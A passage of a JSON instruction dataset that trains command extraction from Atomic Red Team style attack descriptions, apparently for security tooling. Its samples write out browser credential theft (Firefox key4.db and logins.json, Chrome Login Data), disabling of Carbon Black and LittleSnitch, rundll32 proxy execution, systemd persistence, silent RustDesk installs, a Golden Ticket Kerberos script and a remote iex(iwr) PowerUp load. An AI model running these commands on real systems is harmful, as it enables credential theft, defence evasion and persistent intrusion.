    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This simple password and cookies stealer for Chrome, Edge, and Gecko-based browsers (30 listed working) can be executed with the following command: $profile = (Gci -filter \"*default-release*\" -path $env:Appdata\\Mozilla\\Firefox\\Profiles\\).FullName\nCopy-Item $profile\\key4.db -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\" > $null\nCopy-Item $profile\\logins.json -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\" > $null\nRemove-Item $profile\\key4.db > $null\nRemove-Item $profile\\logins.json > $null\nCopy-Item \"$env:PathToAtomicsFolder\\T1555.003\\src\\key4.db\" -Destination $profile\\ > $null\nCopy-Item \"$env:PathToAtomicsFolder\\T1555.003\\src\\logins.json\" -Destination $profile\\ > $null\ncd \"$env:PathToAtomicsFolder\\T1555.003\\bin\"\n\"\"|.\\BrowserCollector.exe; To simulate an adversary extracting encrypted credentials from Chrome's Login database, use the following command: esentutl.exe /y \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\" /d \"#{output_path}\"\n",
    "output": "{\"command_list\": [\"$profile = (Gci -filter \\\"*default-release*\\\" -path $env:Appdata\\\\Mozilla\\\\Firefox\\\\Profiles\\\\).FullName\\nCopy-Item $profile\\\\key4.db -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\" > $null\\nCopy-Item $profile\\\\logins.json -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\" > $null\\nRemove-Item $profile\\\\key4.db > $null\\nRemove-Item $profile\\\\logins.json > $null\\nCopy-Item \\\"$env:PathToAtomicsFolder\\\\T1555.003\\\\src\\\\key4.db\\\" -Destination $profile\\\\ > $null\\nCopy-Item \\\"$env:PathToAtomicsFolder\\\\T1555.003\\\\src\\\\logins.json\\\" -Destination $profile\\\\ > $null\\ncd \\\"$env:PathToAtomicsFolder\\\\T1555.003\\\\bin\\\"\\n\\\"\\\"|.\\\\BrowserCollector.exe\\n\", \"esentutl.exe /y \\\"%LOCALAPPDATA%\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\\\" /d \\\"#{output_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon execution, calc.exe will be launched using the FileProtocolHandler method with rundll32.exe, demonstrated by this command: rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}; The payload can be launched by calling RouteTheCall via this command: rundll32.exe zipfldr.dll,RouteTheCall \"#{exe_to_launch}\"",
    "output": "{\"command_list\": [\"rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}\\n\", \"rundll32.exe zipfldr.dll,RouteTheCall \\\"#{exe_to_launch}\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Carbon Black Response service can be stopped with the command: sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist\nsudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist; To disable LittleSnitch, use the following command: sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist",
    "output": "{\"command_list\": [\"sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist\\nsudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist\\n\", \"sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a Systemd service and timer, configure them, and then start and enable the timer, use the following command:\necho \"[Unit]\" > #{path_to_systemd_service}\necho \"Description=Atomic Red Team Systemd Timer Service\" >> #{path_to_systemd_service}\necho \"[Service]\" >> #{path_to_systemd_service}\necho \"Type=simple\" >> #{path_to_systemd_service}\necho \"ExecStart=/bin/touch /tmp/art-systemd-timer-marker\" >> #{path_to_systemd_service}\necho \"[Install]\" >> #{path_to_systemd_service}\necho \"WantedBy=multi-user.target\" >> #{path_to_systemd_service}\necho \"[Unit]\" > #{path_to_systemd_timer}\necho \"Description=Executes Atomic Red Team Systemd Timer Service\" >> #{path_to_systemd_timer}\necho \"Requires=#{systemd_service_name}\" >> #{path_to_systemd_timer}\necho \"[Timer]\" >> #{path_to_systemd_timer}\necho \"Unit=#{systemd_service_name}\" >> #{path_to_systemd_timer}\necho \"OnCalendar=*-*-* *:*:00\" >> #{path_to_systemd_timer}\necho \"[Install]\" >> #{path_to_systemd_timer}\necho \"WantedBy=timers.target\" >> #{path_to_systemd_timer}\nsystemctl start #{systemd_timer_name}\nsystemctl enable #{systemd_timer_name}\nsystemctl daemon-reload; You can run a non-persistent user task every minute by using the systemd-run command: systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \"$(date) $(whoami)\" >>/tmp/log'",
    "output": "{\"command_list\": [\"echo \\\"[Unit]\\\" > #{path_to_systemd_service}\\necho \\\"Description=Atomic Red Team Systemd Timer Service\\\" >> #{path_to_systemd_service}\\necho \\\"[Service]\\\" >> #{path_to_systemd_service}\\necho \\\"Type=simple\\\" >> #{path_to_systemd_service}\\necho \\\"ExecStart=/bin/touch /tmp/art-systemd-timer-marker\\\" >> #{path_to_systemd_service}\\necho \\\"[Install]\\\" >> #{path_to_systemd_service}\\necho \\\"WantedBy=multi-user.target\\\" >> #{path_to_systemd_service}\\necho \\\"[Unit]\\\" > #{path_to_systemd_timer}\\necho \\\"Description=Executes Atomic Red Team Systemd Timer Service\\\" >> #{path_to_systemd_timer}\\necho \\\"Requires=#{systemd_service_name}\\\" >> #{path_to_systemd_timer}\\necho \\\"[Timer]\\\" >> #{path_to_systemd_timer}\\necho \\\"Unit=#{systemd_service_name}\\\" >> #{path_to_systemd_timer}\\necho \\\"OnCalendar=*-*-* *:*:00\\\" >> #{path_to_systemd_timer}\\necho \\\"[Install]\\\" >> #{path_to_systemd_timer}\\necho \\\"WantedBy=timers.target\\\" >> #{path_to_systemd_timer}\\nsystemctl start #{systemd_timer_name}\\nsystemctl enable #{systemd_timer_name}\\nsystemctl daemon-reload\\n\", \"systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \\\"$(date) $(whoami)\\\" >>/tmp/log'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker might deceive a user into downloading RustDesk to maintain persistent access, which can be done by running the following command: $file = Join-Path $env:USERPROFILE \"Desktop\\\\rustdesk-1.2.3-1-x86_64.exe\"\nInvoke-WebRequest  -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe\nStart-Process -FilePath $file \"/S\"; An attacker may use social engineering to get the victim to install Splashtop, then run it via the command: Start-Process \"#{Splashtop_Path}\"\n",
    "output": "{\"command_list\": [\"$file = Join-Path $env:USERPROFILE \\\"Desktop\\\\rustdesk-1.2.3-1-x86_64.exe\\\"\\nInvoke-WebRequest  -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe\\nStart-Process -FilePath $file \\\"/S\\\"\", \"Start-Process \\\"#{Splashtop_Path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test demonstrates Golden Ticket creation and usage by triggering a service ticket request (event ID 4769) through an SMB request for SYSVOL share. The attack is performed via this command block to maintain session isolation: Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n\ncmd.exe /c \"#{local_folder}\\#{local_executable}\" golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller}) /printcmd /outfile:golden\n$filename = (Get-ChildItem | ? {$_.Name.startswith(\"golden_\")} | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to golden.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\">%TEMP%\\golden.txt 2>&1 (\n  echo Purge existing tickets and create golden ticket:\n  klist purge\n  cd %temp%\n  \"#{local_folder}\\#{local_executable}\" ptt /ticket:kirbifile\n\n  echo.\n  echo Requesting SYSVOL:\n  dir \\\\$(#{domaincontroller})\\SYSVOL\n  \n  echo.\n  echo Tickets after requesting SYSVOL:\n  klist\n\n  echo.\n  echo End of Golden Ticket attack\n)\n\"@ -Replace \"kirbifile\", $filename | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n  Start-Sleep 1 # wait a bit so the output file has time to be created\n  Get-Content -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n    if ($_ -match 'End of Golden Ticket attack') { break } \n  }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore; System information and disk enumeration data can be obtained by executing these commands: systeminfo\nreg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum",
    "output": "{\"command_list\": [\"Remove-Item $env:TEMP\\\\golden.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\golden.txt -ErrorAction Ignore\\n\\ncmd.exe /c \\\"#{local_folder}\\\\#{local_executable}\\\" golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller}) /printcmd /outfile:golden\\n$filename = (Get-ChildItem | ? {$_.Name.startswith(\\\"golden_\\\")} | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name\\n\\n# create batch file with commands to run in a separate \\\"runas /netonly\\\" session\\n# so we don't purge Kerberos ticket from the current Windows session\\n# its output goes to golden.txt temp file, because we cannot capture \\\"runas /netonly\\\" output otherwise\\n@\\\"\\n>%TEMP%\\\\golden.txt 2>&1 (\\n  echo Purge existing tickets and create golden ticket:\\n  klist purge\\n  cd %temp%\\n  \\\"#{local_folder}\\\\#{local_executable}\\\" ptt /ticket:kirbifile\\n\\n  echo.\\n  echo Requesting SYSVOL:\\n  dir \\\\\\\\$(#{domaincontroller})\\\\SYSVOL\\n  \\n  echo.\\n  echo Tickets after requesting SYSVOL:\\n  klist\\n\\n  echo.\\n  echo End of Golden Ticket attack\\n)\\n\\\"@ -Replace \\\"kirbifile\\\", $filename | Out-File -Encoding OEM $env:TEMP\\\\golden.bat\\n\\n# run batch file in a new empty session (password and username do not matter)\\necho \\\"foo\\\" | runas /netonly /user:fake \\\"$env:TEMP\\\\golden.bat\\\" | Out-Null\\n\\n# wait until the output file has logged the entire attack\\ndo {\\n  Start-Sleep 1 # wait a bit so the output file has time to be created\\n  Get-Content -Path \\\"$env:TEMP\\\\golden.txt\\\" -Wait | ForEach-Object {\\n    if ($_ -match 'End of Golden Ticket attack') { break } \\n  }\\n} while ($false) # dummy loop so that 'break' can be used\\n\\n# show output from new empty session\\nGet-Content $env:TEMP\\\\golden.txt\\n\\n# cleanup temp files\\nRemove-Item $env:TEMP\\\\golden.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\golden.txt -ErrorAction Ignore\\n\", \"systeminfo\\nreg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Disk\\\\Enum\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical 